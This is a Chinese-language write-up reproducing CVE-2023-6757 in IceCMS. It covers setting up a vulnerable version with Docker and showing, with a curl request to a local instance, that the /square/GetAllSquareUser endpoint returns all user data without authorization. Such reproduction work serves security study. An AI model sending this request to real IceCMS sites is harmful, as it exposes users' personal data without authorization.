找到 CVE-2023-6757 发布日期 2023 年 12 月 13 日
再去找 commit 早于这个时间的版本:68f3ed1
切到这个版本验证了确实存在未授权漏洞
环境配置#
数据库
create databse icecmspro;
use icecmspro;
source icecms5.6.sql
前端 IceWk-vues
npm install
npm run dev
后端
application.yml 配置数据连接
pom.xml 下载依赖
未授权漏洞验证#
直接访问,不需要带 Authorization 头
GET http://localhost:8181/square/GetAllSquareUser
返回了所有用户数据,应该是管理员权限才能看到的
Docker 环境搭建#
最新版提供了 Docker 搭建的文件 IceCMS-Docker
用漏洞版本的 8.0.sql 文件替换 IceCMS-Docker/icecms-sql/IceCMS.sql
其中,该版本.sql 文件没有 create database 和 use database 的语句,在其基础上加上以下内容
CREATE DATABASE If Not Exists icecms Character Set utf8mb4;
use icecms;
IceCMS-Docker/icecms-sql/setup.sh 有个 Linux 换行不识别问题,如下处理
sed -i 's/\r$//' setup.sh
IceCMS-Docker/icecms-api/ 下没有 main.jar 文件,需要我们编译后端并放到该路径,编译有漏洞的版本即可
docker-compose.yml 有两个问题:
1.docker-compose.yml 没有通过 docker network 连接
2.icecms-sql 端口映射随机,改成固定端口 33060
修改后的 docker-compose.yml 如下
version: '3.9'
services:
# 数据库
icecms-sql:
build:
context: ./icecms-sql
container_name: icecms-sql
image: icecms-sql
restart: always
ports:
- "33060:3306"
networks:
- icecms-network
# 后台服务
icecms-api:
build:
context: ./icecms-api
container_name: icecms-api
image: icecms-api
restart: always
ports:
- "8181:8181"
networks:
- icecms-network
# 前端UI
icecms-vue:
build:
context: ./icecms-vue
container_name: icecms-vue
image: icecms-vue
restart: always
ports:
- "3000:80"
networks:
- icecms-network
networks:
icecms-network:
driver: bridge
修改之后在 main.jar 打包前,改一下 application.yml 的数据库配置:
spring:
datasource:
url: jdbc:mysql://icecms-sql:3306/icecms?useUnicode=true&useJDBCCompliantTimezoneShift=true&serverTimezone=UTC
username: root
password: 123456789
driver-class-name: com.mysql.cj.jdbc.Driver
进入 IceCMS-Docker
docker-compose up --build
Docker 环境下漏洞验证#
curl http://127.0.0.1:8181/square/GetAllSquareUser
参考资料: